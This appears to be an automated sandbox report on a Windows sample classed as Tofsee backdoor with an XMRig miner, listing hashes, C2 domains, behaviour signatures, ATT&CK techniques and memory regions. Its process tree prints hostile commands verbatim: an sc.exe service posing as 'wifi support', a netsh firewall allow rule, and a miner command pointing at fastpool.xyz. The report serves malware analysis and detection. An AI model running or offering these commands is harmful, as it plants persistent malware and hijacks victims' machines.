Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    13-06-2022 23:00

General

  • Target

    2bd8953ea1818f374419c31d125e124817f0c49adf5b4a373ac2907629a9ea80.exe

  • Size

    210KB

  • MD5

    8475dd0e11e700df0562be93b251feac

  • SHA1

    e8faac9dcadf847e7131e20a17e42bf61334661a

  • SHA256

    2bd8953ea1818f374419c31d125e124817f0c49adf5b4a373ac2907629a9ea80

  • SHA512

    5d9fbd06ad57e3f59999602cd0cbc831979fabad8bf8ea70c33c100f3bfe5d43e97b1df168dc087d9298413b8b26a0e77a812e27abc65b39c039738bca2d0ba9

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2bd8953ea1818f374419c31d125e124817f0c49adf5b4a373ac2907629a9ea80.exe
    "C:\Users\Admin\AppData\Local\Temp\2bd8953ea1818f374419c31d125e124817f0c49adf5b4a373ac2907629a9ea80.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2664
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gqyswfkc\
      2⤵
        PID:4588
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\itqgmbfg.exe" C:\Windows\SysWOW64\gqyswfkc\
        2⤵
          PID:4668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gqyswfkc binPath= "C:\Windows\SysWOW64\gqyswfkc\itqgmbfg.exe /d\"C:\Users\Admin\AppData\Local\Temp\2bd8953ea1818f374419c31d125e124817f0c49adf5b4a373ac2907629a9ea80.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1208
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gqyswfkc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2344
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gqyswfkc
          2⤵
          • Launches sc.exe
          PID:5076
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3336
      • C:\Windows\SysWOW64\gqyswfkc\itqgmbfg.exe
        C:\Windows\SysWOW64\gqyswfkc\itqgmbfg.exe /d"C:\Users\Admin\AppData\Local\Temp\2bd8953ea1818f374419c31d125e124817f0c49adf5b4a373ac2907629a9ea80.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3952
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1080
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4564

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\itqgmbfg.exe
        Filesize

        13.6MB

        MD5

        175425613df27acb4cc016bc943fe39b

        SHA1

        1e530fce87d4c80a2e8d00111ed4dd3266597314

        SHA256

        c4d0207469365adf284c5828f34eac8e251f303383e6b210770d0a0c096de9e1

        SHA512

        bfa003c0b39cdf93f4d89f732f2730e73f6fedd903d1b76b7cda5c009c74f16f7808a9a22497e577fcabe25d37554bf41c86f92577251d165d0defc9902961ec

      • C:\Windows\SysWOW64\gqyswfkc\itqgmbfg.exe
        Filesize

        13.6MB

        MD5

        175425613df27acb4cc016bc943fe39b

        SHA1

        1e530fce87d4c80a2e8d00111ed4dd3266597314

        SHA256

        c4d0207469365adf284c5828f34eac8e251f303383e6b210770d0a0c096de9e1

        SHA512

        bfa003c0b39cdf93f4d89f732f2730e73f6fedd903d1b76b7cda5c009c74f16f7808a9a22497e577fcabe25d37554bf41c86f92577251d165d0defc9902961ec

      • memory/1080-356-0x0000000002889A6B-mapping.dmp
      • memory/1080-444-0x0000000002880000-0x0000000002895000-memory.dmp
        Filesize

        84KB

      • memory/1080-488-0x0000000002880000-0x0000000002895000-memory.dmp
        Filesize

        84KB

      • memory/1208-180-0x0000000000000000-mapping.dmp
      • memory/1208-188-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/1208-185-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/1208-184-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/1208-183-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/1208-182-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-189-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-187-0x0000000000000000-mapping.dmp
      • memory/2664-139-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-166-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-133-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-135-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-136-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-137-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-138-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-134-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-118-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-140-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-141-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-142-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-143-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-144-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-145-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-146-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-147-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-148-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-149-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-150-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-151-0x00000000009AA000-0x00000000009B8000-memory.dmp
        Filesize

        56KB

      • memory/2664-153-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-152-0x0000000002370000-0x0000000002383000-memory.dmp
        Filesize

        76KB

      • memory/2664-154-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-155-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-156-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-157-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-158-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-159-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-160-0x0000000000400000-0x0000000000651000-memory.dmp
        Filesize

        2.3MB

      • memory/2664-161-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-162-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-163-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-164-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-165-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-132-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-167-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-168-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-119-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-120-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-121-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-122-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-213-0x0000000002370000-0x0000000002383000-memory.dmp
        Filesize

        76KB

      • memory/2664-216-0x0000000000400000-0x0000000000651000-memory.dmp
        Filesize

        2.3MB

      • memory/2664-211-0x00000000009AA000-0x00000000009B8000-memory.dmp
        Filesize

        56KB

      • memory/2664-123-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-124-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-126-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-127-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-131-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-130-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-129-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-125-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/2664-128-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/3336-209-0x0000000000000000-mapping.dmp
      • memory/3952-361-0x0000000000400000-0x0000000000651000-memory.dmp
        Filesize

        2.3MB

      • memory/3952-343-0x00000000006F0000-0x000000000079E000-memory.dmp
        Filesize

        696KB

      • memory/4564-514-0x0000000002A9259C-mapping.dmp
      • memory/4588-172-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4588-169-0x0000000000000000-mapping.dmp
      • memory/4588-170-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4588-179-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4588-171-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4588-173-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4668-176-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4668-174-0x0000000000000000-mapping.dmp
      • memory/4668-175-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4668-178-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4668-177-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/4668-181-0x0000000077D70000-0x0000000077EFE000-memory.dmp
        Filesize

        1.6MB

      • memory/5076-198-0x0000000000000000-mapping.dmp